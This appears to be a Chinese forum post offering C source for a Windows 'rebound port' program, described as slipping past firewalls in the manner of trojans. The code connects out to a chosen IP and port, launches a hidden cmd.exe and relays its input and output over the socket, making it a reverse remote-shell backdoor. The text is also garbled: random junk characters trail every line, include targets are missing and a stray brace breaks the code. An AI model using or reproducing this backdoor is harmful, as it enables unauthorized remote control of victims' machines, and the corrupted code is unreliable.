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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Mn@$;\:  
<BPRV> 0X  
/* ============================== <m0{'xw  
Rebound port in Windows NT U*qNix  
By wind,2006/7 q & b5g !  
===============================*/ TP{Gt.e  
#include T(V8; !  
#include (z2Z)_6L*L  
d=y0yq{L  
#pragma comment(lib,"wsock32.lib") +zsZNJ(U  
f>z`i\1oO  
void OutputShell(); 5oJ Dux }  
SOCKET sClient; .LObOR 5J7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G?/c/rG  
4uUs7T  
void main(int argc,char **argv) <s}|ZnGE   
{ qm'b'!gq~  
WSADATA stWsaData; sT`^ljp4  
int nRet; "yW&<7u1  
SOCKADDR_IN stSaiClient,stSaiServer; [4XC #OgA  
0[)VO[  
if(argc != 3) PrSkHxm  
{ l E^*t`+  
printf("Useage:\n\rRebound DestIP DestPort\n"); KDD@%E  
return; 9U^$.Lb  
} $O9Xx  
W2eAhz&  
WSAStartup(MAKEWORD(2,2),&stWsaData); Hbk&6kS  
FJT1i@N  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XsUUJuCG  
/.P9MSz0G  
stSaiClient.sin_family = AF_INET; 2xn<E>]  
stSaiClient.sin_port = htons(0); BS7J#8cu  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <uD qYT$6  
bxwkTKr'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .oR3Q/|k]  
{ [N:BM% FQ  
printf("Bind Socket Failed!\n"); 6Y7H|>g)  
return; <GF@L  
} yU7I;]YP  
sx5r(0Z  
stSaiServer.sin_family = AF_INET; SY1GR n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5+K;_)   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :<GfETIs  
>vujZw_0>  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q8sb n  
{ ,[`$JNc  
printf("Connect Error!"); S0LszW)e  
return; RtC'v";6  
} -e ml  
OutputShell(); g1 9S  
} }fA;7GW+9  
?z=\Ye5x  
void OutputShell() 3taa^e.  
{ 3SNL5  
char szBuff[1024]; K\&o2lo]  
SECURITY_ATTRIBUTES stSecurityAttributes; 1b3(  
OSVERSIONINFO stOsversionInfo; iF9_b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B1$ikY  
STARTUPINFO stStartupInfo; vv.PF~:  
char *szShell; YH\j@ ^n  
PROCESS_INFORMATION stProcessInformation; |pW\Ec#(  
unsigned long lBytesRead; jPk c3dG +  
Hm9<fQuM  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A-wRah.M  
fg&eoI'f  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \.<KA  
stSecurityAttributes.lpSecurityDescriptor = 0; PAZ$_eSK6  
stSecurityAttributes.bInheritHandle = TRUE; T2weAk#J  
D.*>;5:0'  
} ` T8A  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vM`~)rO@!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |RhM| i  
[X/(D9J  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Sj-[%D*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IU!Ht>  
stStartupInfo.wShowWindow = SW_HIDE; M"U OgS  
stStartupInfo.hStdInput = hReadPipe; vM4<d>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Qhy#r  
rLF*DB3l  
GetVersionEx(&stOsversionInfo); #?&0D>E?k  
HY)ESU !  
switch(stOsversionInfo.dwPlatformId) n &}s-`D  
{ s[AA7>]3  
case 1: 1R*=.i%W  
szShell = "command.com"; sLns3&n2  
break; o8z)nOTO;  
default: q`Q}yE> 9  
szShell = "cmd.exe"; CWlW/>yF B  
break; k^An97J  
} k+1gQru{d  
 t;47(U  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B8V,)rn  
C_->u4 -  
send(sClient,szMsg,77,0); usOx=^?=  
while(1) P5?<_x0v4b  
{ >ttuum12w  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *YvRNHP  
if(lBytesRead) pn\V+Rg'  
{ n%$ &=-Fk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [e e30ELn  
send(sClient,szBuff,lBytesRead,0); mX\ ;oV!  
} js <Ww$zFW  
else z~Na-N  
{ FtIa*j^G  
lBytesRead=recv(sClient,szBuff,1024,0); p2d\ZgWD=)  
if(lBytesRead<=0) break; '*R%^RK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4%_M27bu[  
} g`?:=G:a*  
} X9XI;c;b-  
QUOKThY?  
return; sN/+   
}
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